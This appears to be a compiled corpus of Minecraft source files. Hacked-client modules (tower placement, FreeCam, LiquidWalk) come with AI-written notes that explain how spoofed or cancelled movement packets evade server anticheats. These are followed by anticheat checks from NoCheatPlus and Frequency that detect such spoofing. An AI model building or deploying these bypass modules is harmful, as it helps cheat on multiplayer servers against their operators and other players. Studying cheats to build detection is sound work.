final Vec3 rotationVector = RotationUtils.getVectorForRotation(rotation);
final Vec3 vector = eyesPos.addVector(rotationVector.xCoord * 4, rotationVector.yCoord * 4, rotationVector.zCoord * 4);
final MovingObjectPosition obj = mc.theWorld.rayTraceBlocks(eyesPos, vector, false,
false, true);
if (!(obj.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && obj.getBlockPos().equals(neighbor)))
continue;
if (placeRotation == null || RotationUtils.getRotationDifference(rotation) <
RotationUtils.getRotationDifference(placeRotation.getRotation()))
placeRotation = new PlaceRotation(new PlaceInfo(neighbor, side.getOpposite(), hitVec), rotation);
}
}
}
}
if (placeRotation == null)
return false;
if (rotationsValue.get()) {
RotationUtils.setTargetRotation(placeRotation.getRotation(), 0);
lockRotation = placeRotation.getRotation();
}
placeInfo = placeRotation.getPlaceInfo();
return true;
}
@EventTarget
public void onPacket(final PacketEvent event) {
if(mc.thePlayer == null)
return;
final Packet<?> packet = event.getPacket();
if(packet instanceof C09PacketHeldItemChange) {
final C09PacketHeldItemChange packetHeldItemChange = (C09PacketHeldItemChange) packet;
slot = packetHeldItemChange.getSlotId();
}
}
/**
* Tower visuals
*
* @param event
*/
@EventTarget
public void onRender2D(final Render2DEvent event) {
if(counterDisplayValue.get()) {
GlStateManager.pushMatrix();
final String info = "Blocks: §7" + getBlocksAmount();
final ScaledResolution scaledResolution = new ScaledResolution(mc);
RenderUtils.drawBorderedRect((scaledResolution.getScaledWidth() / 2) - 2, (scaledResolution.getScaledHeight() / 2) + 5, (scaledResolution.getScaledWidth() / 2) + Fonts.font40.getStringWidth(info) + 2, (scaledResolution.getScaledHeight() / 2) + 16, 3, Color.BLACK.getRGB(), Color.BLACK.getRGB());
GlStateManager.resetColor();
Fonts.font40.drawString(info, scaledResolution.getScaledWidth() / 2, scaledResolution.getScaledHeight() / 2 + 7, Color.WHITE.getRGB());
GlStateManager.popMatrix();
}
}
@EventTarget
public void onJump(final JumpEvent event) {
if (onJumpValue.get())
event.cancelEvent();
}
/**
* @return hotbar blocks amount
*/
private int getBlocksAmount() {
int amount = 0;
for(int i = 36; i < 45; i++) {
final ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(i).getStack();
if(itemStack != null && itemStack.getItem() instanceof ItemBlock)
amount += itemStack.stackSize;
}
return amount;
}
@Override
public String getTag() {
return modeValue.get();
}
}
// NOTE (AI): Packet mode is the C03 hit: a C04 +0.42/+0.753 pair followed by a client-side setPosition up one block, gated by a 2-tick timer. Auto-block switches to the block slot with C09, places through onPlayerRightClick, swings via swingItem() or a C0A packet when swing is off, and switches back.
Detach the camera: cancel every C03 and C0B so the server never sees the ghost movement, leaving a fake player at the original spot.
On enable, spawns EntityOtherPlayerMP (-1000) cloned from the player and sets noClip. PacketEvent cancels C03PacketPlayer and C0BPacketEntityAction; UpdateEvent flies with motion and strafe. On disable, snaps back to the stored position and removes the fake player.
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/render/FreeCam.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.module.modules.render;
import net.ccbluex.liquidbounce.event.EventTarget;
import net.ccbluex.liquidbounce.event.PacketEvent;
import net.ccbluex.liquidbounce.event.UpdateEvent;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.ccbluex.liquidbounce.utils.MovementUtils;
import net.ccbluex.liquidbounce.value.BoolValue;
import net.ccbluex.liquidbounce.value.FloatValue;
import net.minecraft.client.entity.EntityOtherPlayerMP;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C0BPacketEntityAction;
@ModuleInfo(name = "FreeCam", description = "Allows you to move out of your body.", category = ModuleCategory.RENDER)
public class FreeCam extends Module {
private final FloatValue speedValue = new FloatValue("Speed", 0.8F, 0.1F, 2F);
private final BoolValue flyValue = new BoolValue("Fly", true);
private final BoolValue noClipValue = new BoolValue("NoClip", true);
private EntityOtherPlayerMP fakePlayer = null;
private double oldX;
private double oldY;
private double oldZ;
@Override
public void onEnable() {
if(mc.thePlayer == null)
return;
oldX = mc.thePlayer.posX;
oldY = mc.thePlayer.posY;
oldZ = mc.thePlayer.posZ;
fakePlayer = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());
fakePlayer.clonePlayer(mc.thePlayer, true);
fakePlayer.rotationYawHead = mc.thePlayer.rotationYawHead;
fakePlayer.copyLocationAndAnglesFrom(mc.thePlayer);
mc.theWorld.addEntityToWorld(-1000, fakePlayer);
if(noClipValue.get())
mc.thePlayer.noClip = true;
}
@Override
public void onDisable() {
if(mc.thePlayer == null || fakePlayer == null)
return;
mc.thePlayer.setPositionAndRotation(oldX, oldY, oldZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);
mc.theWorld.removeEntityFromWorld(fakePlayer.getEntityId());
fakePlayer = null;
mc.thePlayer.motionX = 0;
mc.thePlayer.motionY = 0;
mc.thePlayer.motionZ = 0;
}
@EventTarget
public void onUpdate(UpdateEvent event) {
if(noClipValue.get())
mc.thePlayer.noClip = true;
mc.thePlayer.fallDistance = 0;
if(flyValue.get()) {
final float value = speedValue.get();
mc.thePlayer.motionY = 0;
mc.thePlayer.motionX = 0;
mc.thePlayer.motionZ = 0;
if(mc.gameSettings.keyBindJump.isKeyDown())
mc.thePlayer.motionY += value;
if(mc.gameSettings.keyBindSneak.isKeyDown())
mc.thePlayer.motionY -= value;
MovementUtils.strafe(value);
}
}
@EventTarget
public void onPacket(PacketEvent event) {
final Packet<?> packet = event.getPacket();
if(packet instanceof C03PacketPlayer || packet instanceof C0BPacketEntityAction)
event.cancelEvent();
}
}
// NOTE (AI): The single PacketEvent handler cancels C03PacketPlayer and C0BPacketEntityAction, so the ghost movement and its sprint and sneak state never reach the server. A cloned EntityOtherPlayerMP (-1000) stands in at the origin position for other players.
Walk on liquids by mutating the C03 Y with a sub-pixel offset so the server keeps the player on the surface.
In NCP mode, when the bounding-box bottom is inside a liquid, toggle nextTick and subtract 0.001 from packetPlayer.y on alternate ticks; the vanilla emitter keeps running, so the stream stays continuous while the reported Y fights the sink.
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/movement/LiquidWalk.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.module.modules.movement;
import net.ccbluex.liquidbounce.event.*;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.ccbluex.liquidbounce.utils.block.BlockUtils;
import net.ccbluex.liquidbounce.value.BoolValue;
import net.ccbluex.liquidbounce.value.FloatValue;
import net.ccbluex.liquidbounce.value.ListValue;
import net.minecraft.block.Block;
import net.minecraft.block.BlockLiquid;
import net.minecraft.block.material.Material;
import net.minecraft.init.Blocks;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.util.AxisAlignedBB;
import net.minecraft.util.BlockPos;
import org.lwjgl.input.Keyboard;
@ModuleInfo(name = "LiquidWalk", description = "Allows you to walk on water.", category = ModuleCategory.MOVEMENT, keyBind = Keyboard.KEY_J)
public class LiquidWalk extends Module {
public final ListValue modeValue = new ListValue("Mode", new String[] {"Vanilla", "NCP", "AAC", "AAC3.3.11", "AACFly", "Spartan", "Dolphin"}, "NCP");
private final BoolValue noJumpValue = new BoolValue("NoJump", false);
private final FloatValue aacFlyValue = new FloatValue("AACFlyMotion", 0.5F, 0.1F, 1F);
private boolean nextTick;
@EventTarget
public void onUpdate(final UpdateEvent event) {
if(mc.thePlayer == null || mc.thePlayer.isSneaking())
return;
switch(modeValue.get().toLowerCase()) {
case "ncp":
case "vanilla":
if(BlockUtils.collideBlock(mc.thePlayer.getEntityBoundingBox(), block -> block instanceof BlockLiquid) && mc.thePlayer.isInsideOfMaterial(Material.air) && !mc.thePlayer.isSneaking())
mc.thePlayer.motionY = 0.08D;
break;
case "aac":
final BlockPos blockPos = mc.thePlayer.getPosition().down();
if(!mc.thePlayer.onGround && BlockUtils.getBlock(blockPos) == Blocks.water || mc.thePlayer.isInWater()) {
if(!mc.thePlayer.isSprinting()) {
mc.thePlayer.motionX *= 0.99999;
mc.thePlayer.motionY *= 0.0;
mc.thePlayer.motionZ *= 0.99999;
if(mc.thePlayer.isCollidedHorizontally)
mc.thePlayer.motionY = (int) (mc.thePlayer.posY - (int) (mc.thePlayer.posY - 1)) / 8F;
}else{
mc.thePlayer.motionX *= 0.99999;
mc.thePlayer.motionY *= 0.0;
mc.thePlayer.motionZ *= 0.99999;
if(mc.thePlayer.isCollidedHorizontally)
mc.thePlayer.motionY = (int) (mc.thePlayer.posY - (int) (mc.thePlayer.posY - 1)) / 8F;
}
if(mc.thePlayer.fallDistance >= 4)
mc.thePlayer.motionY = -0.004;
else if(mc.thePlayer.isInWater())
mc.thePlayer.motionY = 0.09;
}
if(mc.thePlayer.hurtTime != 0)
mc.thePlayer.onGround = false;
break;
case "spartan":
if(mc.thePlayer.isInWater()) {
if(mc.thePlayer.isCollidedHorizontally) {
mc.thePlayer.motionY += 0.15;
return;
}
final Block block = BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1, mc.thePlayer.posZ));
final Block blockUp = BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1.1D, mc.thePlayer.posZ));
if(blockUp instanceof BlockLiquid) {
mc.thePlayer.motionY = 0.1D;
}else if(block instanceof BlockLiquid) {
mc.thePlayer.motionY = 0;
}
mc.thePlayer.onGround = true;
mc.thePlayer.motionX *= 1.085;
mc.thePlayer.motionZ *= 1.085;
}
break;
case "aac3.3.11":
if(mc.thePlayer.isInWater()) {
mc.thePlayer.motionX *= 1.17D;
mc.thePlayer.motionZ *= 1.17D;
if(mc.thePlayer.isCollidedHorizontally)
mc.thePlayer.motionY = 0.24;
else if(mc.theWorld.getBlockState(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1.0D, mc.thePlayer.posZ)).getBlock() != Blocks.air)
mc.thePlayer.motionY += 0.04D;
}
break;
}
}
@EventTarget
public void onMove(final MoveEvent event) {
if ("aacfly".equals(modeValue.get().toLowerCase()) && mc.thePlayer.isInWater()) {
event.setY(aacFlyValue.get());
mc.thePlayer.motionY = aacFlyValue.get();
}
}
@EventTarget
public void onBlockBB(final BlockBBEvent event) {
if(mc.thePlayer == null || mc.thePlayer.getEntityBoundingBox() == null)
return;
if(event.getBlock() instanceof BlockLiquid && !BlockUtils.collideBlock(mc.thePlayer.getEntityBoundingBox(), block -> block instanceof BlockLiquid) && !mc.thePlayer.isSneaking()) {
switch(modeValue.get().toLowerCase()) {
case "ncp":
case "vanilla":
event.setBoundingBox(AxisAlignedBB.fromBounds(event.getX(), event.getY(), event.getZ(), event.getX() + 1, event.getY() + 1, event.getZ() + 1));
break;
}
}
}
@EventTarget
public void onPacket(final PacketEvent event) {
if(mc.thePlayer == null || !modeValue.get().equalsIgnoreCase("NCP"))
return;
if(event.getPacket() instanceof C03PacketPlayer) {
final C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();
if(BlockUtils.collideBlock(new AxisAlignedBB(mc.thePlayer.getEntityBoundingBox().maxX, mc.thePlayer.getEntityBoundingBox().maxY, mc.thePlayer.getEntityBoundingBox().maxZ, mc.thePlayer.getEntityBoundingBox().minX, mc.thePlayer.getEntityBoundingBox().minY - 0.01D, mc.thePlayer.getEntityBoundingBox().minZ), block -> block instanceof BlockLiquid)) {
nextTick = !nextTick;
if(nextTick) packetPlayer.y -= 0.001D;
}
}
}
@EventTarget
public void onJump(final JumpEvent event) {
if (mc.thePlayer == null)
return;
final Block block = BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ));
if (noJumpValue.get() && block instanceof BlockLiquid)
event.cancelEvent();
}
@Override
public String getTag() {
return modeValue.get();
}
}
// NOTE (AI): In NCP mode the C03 hit subtracts 0.001 from packetPlayer.y on alternating ticks when the bounding-box bottom is inside a liquid, which keeps the reported Y from sinking while the player walks on the surface. The BlockAABBEvent handler replaces the collision box with a full cube for the same modes.
anticheat Anti-Cheat Checks
The position packet family (flying, position, position-look, look) is the heart of every movement anticheat: it is the only stream that tells the server where the player is. All 50 cloned anticheats key their motion checks off it. The corpus splits into classic statistical checks (Frequency FlyA, Arc NoFall, Hydro GroundA) that score deltas against expected physics, and modern simulation checks (Grim PredictionRunner, Photon MovementSimulator) that predict the next position from client inputs and flag the residual. Ground-spoofing, fly, speed, phase, step, timer and blink are all detected from this one packet family.
The classic 1.8 ProtocolLib adapter that feeds every C03 variant into NCP's moving checks.
Wraps PacketPlayInFlying, PacketPlayInPosition, PacketPlayInPositionLook and PacketPlayInLook through ProtocolLib, builds a MovingData context (position, rotation, ground flag, exact move vector), and dispatches to the full moving check set: survivalfly, morepackets (timer), noswing, nofall, and the passable/phase checks. Handles 1.7-1.8 protocol differences and the -999 teleport sentinel.
// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/MovingFlying.java =====
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package fr.neatmonster.nocheatplus.checks.net.protocollib;
import java.util.Arrays;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.LinkedList;
import java.util.List;
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
import com.comphenix.protocol.PacketType;
import com.comphenix.protocol.PacketType.Protocol;
import com.comphenix.protocol.PacketType.Sender;
import com.comphenix.protocol.events.ListenerPriority;
import com.comphenix.protocol.events.PacketContainer;
import com.comphenix.protocol.events.PacketEvent;
import com.comphenix.protocol.reflect.StructureModifier;
import fr.neatmonster.nocheatplus.NCPAPIProvider;
import fr.neatmonster.nocheatplus.checks.CheckType;
import fr.neatmonster.nocheatplus.checks.moving.MovingData;
import fr.neatmonster.nocheatplus.checks.net.FlyingFrequency;
import fr.neatmonster.nocheatplus.checks.net.Moving;
import fr.neatmonster.nocheatplus.checks.net.NetConfig;
import fr.neatmonster.nocheatplus.checks.net.NetData;
import fr.neatmonster.nocheatplus.checks.net.WrongTurn;
import fr.neatmonster.nocheatplus.checks.net.model.DataPacketFlying;
import fr.neatmonster.nocheatplus.checks.net.model.DataPacketFlying.PACKET_CONTENT;
import fr.neatmonster.nocheatplus.checks.net.model.TeleportQueue.AckReference;
import fr.neatmonster.nocheatplus.compat.AlmostBoolean;
import fr.neatmonster.nocheatplus.compat.versions.ServerVersion;
import fr.neatmonster.nocheatplus.logging.StaticLog;
import fr.neatmonster.nocheatplus.logging.Streams;
import fr.neatmonster.nocheatplus.players.DataManager;
import fr.neatmonster.nocheatplus.players.IPlayerData;
import fr.neatmonster.nocheatplus.time.monotonic.Monotonic;
import fr.neatmonster.nocheatplus.utilities.CheckUtils;
import fr.neatmonster.nocheatplus.utilities.StringUtil;
import fr.neatmonster.nocheatplus.utilities.TickTask;
import fr.neatmonster.nocheatplus.utilities.ds.count.ActionFrequency;
import fr.neatmonster.nocheatplus.utilities.location.LocUtil;
/**
* Run checks related to moving (pos/look/flying). Skip packets that shouldn't
* get processed anyway due to a teleport. Also update lastKeepAliveTime.
*
* @author asofold
*
*/
public class MovingFlying extends BaseAdapter {
private static final boolean isServerAtLeast1_21_3 = ServerVersion.isAtLeast("1.21.3");
// Setup for flying packets.
public static final int indexOnGround = 0;
public static final int indexhorizontalCollision = isServerAtLeast1_21_3 ? 1 : 0;
public static final int indexhasPos = 1 + indexhorizontalCollision;
public static final int indexhasLook = 2 + indexhorizontalCollision;
public static final int indexX = 0;
public static final int indexY = 1;
public static final int indexZ = 2;
public static final int indexStance = 3; // 1.7.10
public static final int indexYaw = 0;
public static final int indexPitch = 1;
// Setup for teleport accept packet.
private static PacketType confirmTeleportType;
private static boolean acceptConfirmTeleportPackets;
private final Plugin plugin = Bukkit.getPluginManager().getPlugin("NoCheatPlus");
private static PacketType[] initPacketTypes() {
final List<PacketType> types = new LinkedList<PacketType>(Arrays.asList(PacketType.Play.Client.LOOK, PacketType.Play.Client.POSITION, PacketType.Play.Client.POSITION_LOOK));
if (ServerVersion.isLowerThan("1.17")) {
types.add(PacketType.Play.Client.FLYING);
StaticLog.logInfo("Add listener for legacy PlayInFlying packet.");
}
else types.add(PacketType.Play.Client.GROUND);
// Add confirm teleport.
// PacketPlayInTeleportAccept
confirmTeleportType = ProtocolLibComponent.findPacketTypeByName(Protocol.PLAY, Sender.CLIENT, "AcceptTeleportation");
if (confirmTeleportType == null) { // Fallback check for the old packet name.
confirmTeleportType = ProtocolLibComponent.findPacketTypeByName(Protocol.PLAY, Sender.CLIENT, "TeleportAccept");
}
if (confirmTeleportType != null && ServerVersion.isAtLeast("1.9")) {
StaticLog.logInfo("Confirm teleport packet available (via name): " + confirmTeleportType);
types.add(confirmTeleportType);
acceptConfirmTeleportPackets = true;
}
else acceptConfirmTeleportPackets = false;
return types.toArray(new PacketType[types.size()]);
}
/** Frequency check for flying packets. */
private final FlyingFrequency flyingFrequency = new FlyingFrequency();
/** Other checks related to packet content. */
private final Moving moving = new Moving();
/** Ilegal pitch check */
private final WrongTurn wrongTurn = new WrongTurn();
private final int idFlying = counters.registerKey("packet.flying");
private final int idAsyncFlying = counters.registerKey("packet.flying.asynchronous");
/** If a packet can't be parsed, this time stamp is set for occasional logging. */
private long packetMismatch = Long.MIN_VALUE;
/** Every minute max, good for updating :).*/
private long packetMismatchLogFrequency = 60000;
private final HashSet<PACKET_CONTENT> validContent = new LinkedHashSet<PACKET_CONTENT>();
public MovingFlying(Plugin plugin) {
// PacketPlayInFlying[3, legacy: 10]
super(plugin, ListenerPriority.LOW, initPacketTypes());
// Keep the CheckType NET for now.
// Add feature tags for checks.
if (NCPAPIProvider.getNoCheatPlusAPI().getWorldDataManager().isActiveAnywhere(CheckType.NET_FLYINGFREQUENCY)) {
NCPAPIProvider.getNoCheatPlusAPI().addFeatureTags( "checks", Arrays.asList(FlyingFrequency.class.getSimpleName()));
}
NCPAPIProvider.getNoCheatPlusAPI().addComponent(flyingFrequency);
}
@Override
public void onPacketReceiving(final PacketEvent event) {
try {
if (event.isPlayerTemporary()) return;
}
catch (NoSuchMethodError e) {
if (event.getPlayer() == null) {
return;
}
if (DataManager.getPlayerDataSafe(event.getPlayer()) == null) {
return;
}
}
if (event.getPacketType().equals(confirmTeleportType)) {
if (acceptConfirmTeleportPackets) {
onConfirmTeleportPacket(event);
}
}
else onFlyingPacket(event);
}
private void onConfirmTeleportPacket(final PacketEvent event) {
try {
processConfirmTeleport(event);
}
catch (Throwable t) {
noConfirmTeleportPacket();
}
}
private void processConfirmTeleport(final PacketEvent event) {
final PacketContainer packet = event.getPacket();
final StructureModifier<Integer> integers = packet.getIntegers();
if (integers.size() != 1) {
noConfirmTeleportPacket();
return;
}
// TODO: Cross check legacy types (if they even had an integer).
Integer teleportId = integers.read(0);
if (teleportId == null) {
// TODO: Not sure ...
return;
}
final Player player = event.getPlayer();
final IPlayerData pData = DataManager.getPlayerDataSafe(player);
final NetData data = pData.getGenericInstance(NetData.class);
final AlmostBoolean matched = data.teleportQueue.processAck(teleportId);
if (matched.decideOptimistically()) {
ActionFrequency.subtract(System.currentTimeMillis(), 1, data.flyingFrequencyAll);
}
if (pData.isDebugActive(this.checkType)) {
debug(player, "Confirm teleport packet" + (matched.decideOptimistically() ? (" (matched=" + matched + ")") : "") + ": " + teleportId);
}
}
private void noConfirmTeleportPacket() {
acceptConfirmTeleportPackets = false;
// TODO: Attempt to unregister.
NCPAPIProvider.getNoCheatPlusAPI().getLogManager().info(Streams.STATUS, "Confirm teleport packet not available.");
}
private void onFlyingPacket(final PacketEvent event) {
final boolean primaryThread = Bukkit.isPrimaryThread();
counters.add(idFlying, 1, primaryThread);
if (event.isAsync() == primaryThread) {
counters.add(ProtocolLibComponent.idInconsistentIsAsync, 1, primaryThread);
}
if (!primaryThread) {
// Count all asynchronous events extra.
counters.addSynchronized(idAsyncFlying, 1);
// TODO: Detect game phase for the player?
}
final long time = System.currentTimeMillis();
final Player player = event.getPlayer();
if (player == null) {
// TODO: Need config?
counters.add(ProtocolLibComponent.idNullPlayer, 1, primaryThread);
event.setCancelled(true);
return;
}
final IPlayerData pData = DataManager.getPlayerDataSafe(player);
// Always update last received time.
final NetData data = pData.getGenericInstance(NetData.class);
data.lastKeepAliveTime = time; // Update without much of a contract.
// TODO: Leniency options too (packet order inversion). -> current: flyingQueue is fetched.
final NetConfig cc = pData.getGenericInstance(NetConfig.class);
boolean cancel = false;
// Interpret the packet content.
final DataPacketFlying packetData = interpretPacket(event, time);
// Early return tests, if the packet can be interpreted.
boolean skipChecks = false;
if (packetData != null) {
// Prevent processing packets with obviously malicious content.
if (isInvalidContent(packetData)) {
event.setCancelled(true);
// Do request and improbable update here for good measure.
TickTask.requestImprobableUpdate(player.getUniqueId(), 1.0f);
if (pData.isDebugActive(this.checkType)) {
debug(player, "Incoming flying packet, cancel due to malicious content: " + packetData.toString());
}
return;
}
switch (data.teleportQueue.processAck(packetData)) {
case WAITING: {
if (pData.isDebugActive(this.checkType)) {
debug(player, "Incoming flying packet, still waiting for ACK on outgoing position.");
}
if (confirmTeleportType != null && cc.supersededFlyingCancelWaiting) {
// Don't add to the flying queue for now (assumed invalid).
final AckReference ackReference = data.teleportQueue.getLastAckReference();
if (ackReference.lastOutgoingId != Integer.MIN_VALUE && ackReference.lastOutgoingId != ackReference.maxConfirmedId) {
// Still waiting for a 'confirm teleport' packet. More or less safe to cancel this out.
/*
* TODO: The actual issue with this, apart from
* potential freezing, also concerns gameplay experience
* in case of minor set backs, which also could be
* caused by the server, e.g. with 'moved wrongly' or
* setting players outside of blocks. In this case the
* moves sent before teleport ack would still be valid
* after the teleport, because distances are small. The
* actual solution should still be to a) not have false
* positives b) somehow get rid all the
* position-correction teleporting the server does, for
* the cases a plugin can handle.
*/
// See todo below on if (cancel) {...}
cancel = true;
}
}
break;
}
case ACK: {
// Skip processing ACK packets, no cancel.
skipChecks = true;
if (pData.isDebugActive(this.checkType)) {
debug(player, "Incoming flying packet, interpret as ACK for outgoing position. Skip checks.");
}
}
default: {
// Continue.
data.addFlyingQueue(packetData); // TODO: Not the optimal position, perhaps.
}
}
// Add as valid packet (exclude invalid coordinates etc. for now).
validContent.add(packetData.getSimplifiedContentType());
}
// Actual packet frequency check.
// TODO: Consider using the NetStatic check.
if (!cancel && !skipChecks
&& flyingFrequency.check(player, packetData, time, data, cc, pData)
&& !pData.hasBypass(CheckType.NET_FLYINGFREQUENCY, player)) {
cancel = true;
}
// More packet checks.
if (!cancel && !skipChecks && pData.isCheckActive(CheckType.NET_MOVING, player)
&& moving.check(player, packetData, data, cc, pData, plugin)
&& !pData.hasBypass(CheckType.NET_MOVING, player)) {
cancel = true;
}
// Illegal pitch check
if (!cancel && pData.isCheckActive(CheckType.NET_WRONGTURN, player)
&& wrongTurn.check(player, packetData.getPitch(), data, cc)
&& !pData.hasBypass(CheckType.NET_WRONGTURN, player)) {
cancel = true; // Is it a good idea to cancel or should we just reset the players pitch?
}
if (!cancel && pData.isCheckActive(CheckType.MOVING_NOFALL, player)) {
final MovingData mData = pData.getGenericInstance(MovingData.class);
final float noFallFallDistance = mData.noFallFallDistance;
if (mData.requestTrueForGround) {
// If damage has already dealt
if (noFallFallDistance > 0.0) {
player.setFallDistance(noFallFallDistance);
event.getPacket().getBooleans().write(indexOnGround, mData.requestTrueForGround);
}
mData.requestTrueForGround = false;
}
}
// Process cancel and debug log.
if (cancel) {
/*
* TODO: Test if this can fix packet fly exploits; it will also cause set backs on flying packets awaiting ACK(s)
* Previously, NCP would simply cancel these flying packets out, without really restricting movement.
*/
data.requestSetBack(player, this, plugin, CheckType.NET);
event.setCancelled(true);
}
if (pData.isDebugActive(this.checkType)) {
debug(player, (packetData == null ? "(Incompatible data)" : packetData.toString()) + (event.isCancelled() ? " CANCEL" : ""));
}
}
/**
* Checks if the given {@link DataPacketFlying} contains invalid position or look data. <br>
* Delegates to {@link LocUtil#isBadCoordinate(double...)} and {@link LocUtil#isBadCoordinate(float...)}.<br>
* If this returns true, invalid packets won't be added to the flying queue, and will be cancelled immediately.
*
* @param packetData the flying packet data to validate
* @return true if the packet contains invalid position or look data, false otherwise
*/
private boolean isInvalidContent(final DataPacketFlying packetData) {
if (packetData.hasPos && LocUtil.isBadCoordinate(packetData.getX(), packetData.getY(), packetData.getZ())) {
return true;
}
if (packetData.hasLook && LocUtil.isBadCoordinate(packetData.getYaw(), packetData.getPitch())) {
return true;
}
return false;
}
/**
* Interpret the packet content and do with it whatever is suitable.
* @param event
* @param time
* @return Packet data if successful, or null on packet mismatch.
*/
private DataPacketFlying interpretPacket(final PacketEvent event, final long time) {
final PacketContainer packet = event.getPacket();
final List<Boolean> booleans = packet.getBooleans().getValues();
if (booleans.size() != (isServerAtLeast1_21_3 ? 4 : 3)) {
packetMismatch(event);
return null;
}
final boolean onGround = booleans.get(MovingFlying.indexOnGround).booleanValue();
final boolean horizontalCollision = isServerAtLeast1_21_3 && booleans.get(MovingFlying.indexhorizontalCollision).booleanValue();
final boolean hasPos = booleans.get(MovingFlying.indexhasPos).booleanValue();
final boolean hasLook = booleans.get(MovingFlying.indexhasLook).booleanValue();
if (!hasPos && !hasLook) {
return new DataPacketFlying(onGround, horizontalCollision, time);
}
final List<Double> doubles;
final List<Float> floats;
if (hasPos) {
doubles = packet.getDoubles().getValues();
if (doubles.size() != 3 && doubles.size() != 4) {
// 3: 1.8, 4: 1.7.10 and before (stance).
packetMismatch(event);
return null;
}
// TODO: before 1.8: stance (should make possible to reject in isInvalidContent).
}
else {
doubles = null;
}
if (hasLook) {
floats = packet.getFloat().getValues();
if (floats.size() != 2) {
packetMismatch(event);
return null;
}
}
else {
floats = null;
}
if (hasPos && hasLook) {
return new DataPacketFlying(onGround, horizontalCollision, doubles.get(indexX), doubles.get(indexY), doubles.get(indexZ), floats.get(indexYaw), floats.get(indexPitch), time);
}
else if (hasLook) {
return new DataPacketFlying(onGround, horizontalCollision, floats.get(indexYaw), floats.get(indexPitch), time);
}
else if (hasPos) {
return new DataPacketFlying(onGround, horizontalCollision, doubles.get(indexX), doubles.get(indexY), doubles.get(indexZ), time);
}
else {
throw new IllegalStateException("Can't be, it can't be!");
}
}
/**
* Log warning to console, stop interpreting packet content.
*/
private void packetMismatch(final PacketEvent packetEvent) {
final long time = Monotonic.synchMillis();
if (time - packetMismatchLogFrequency > packetMismatch) {
packetMismatch = time;
StringBuilder builder = new StringBuilder(512);
builder.append(CheckUtils.getLogMessagePrefix(packetEvent.getPlayer(), checkType));
builder.append("Incoming packet could not be interpreted. Are server and plugins up to date (NCP/ProtocolLib...)? This message is logged every ");
builder.append(Long.toString(packetMismatchLogFrequency / 1000));
builder.append(" seconds, disregarding for which player this happens.");
if (!validContent.isEmpty()) {
builder.append(" On other occasion, valid content was received for: ");
StringUtil.join(validContent, ", ", builder);
}
NCPAPIProvider.getNoCheatPlusAPI().getLogManager().warning(Streams.STATUS, builder.toString());
}
}
}Classic 1.8 fly check: vertical motion must match gravity and jump physics.
PostCheck on WrappedPlayInFlying: tracks the y delta and ground flag, compares against expected gravity, jump momentum and piston/water modifiers, accumulates a buffer and fails on persistent impossible vertical motion. Small, event-driven, representative of the 1.8 generation.
// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/fly/FlyA.java =====
package xyz.elevated.frequency.check.impl.fly;
import net.minecraft.server.v1_8_R3.EntityPlayer;
import org.bukkit.Location;
import xyz.elevated.frequency.check.CheckData;
import xyz.elevated.frequency.check.type.PositionCheck;
import xyz.elevated.frequency.data.PlayerData;
import xyz.elevated.frequency.update.PositionUpdate;
import xyz.elevated.frequency.util.NmsUtil;
@CheckData(name = "Fly (A)")
public final class FlyA extends PositionCheck {
private double buffer = 0.0d;
public FlyA(final PlayerData playerData) {
super(playerData);
}
@Override
public void process(final PositionUpdate positionUpdate) {
// Get the locations from the position update
final Location from = positionUpdate.getFrom();
final Location to = positionUpdate.getTo();
// Get the entity player from the nms util
final EntityPlayer entityPlayer = NmsUtil.getEntityPlayer(playerData);
// If the posY of the player is modulo by (1/64) he's on ground.
final boolean clientGround = entityPlayer.onGround;
final boolean serverGround = to.getY() % 0.015625 == 0.0 && from.getY() % 0.015625 == 0.0;
final boolean illegal = playerData.getPositionManager().getTouchingClimbable().get() || playerData.getPositionManager().getTouchingLiquid().get();
if (!illegal && clientGround != serverGround) {
if (++buffer > 4) fail();
} else {
buffer = 0;
}
}
}Ground-spoof check: onGround=true while the fall distance says the player is airborne.
On the flying packet, reads the ground flag and the accumulated fall distance; if the player reports onGround while their vertical velocity and fall distance are inconsistent with landing, the check fails. Directly targets the C03 onGround spoof used by nofall modules.
// ===== FILE: Vrekt-Arc-v2, src/main/java/me/vrekt/arc/check/moving/NoFall.java =====
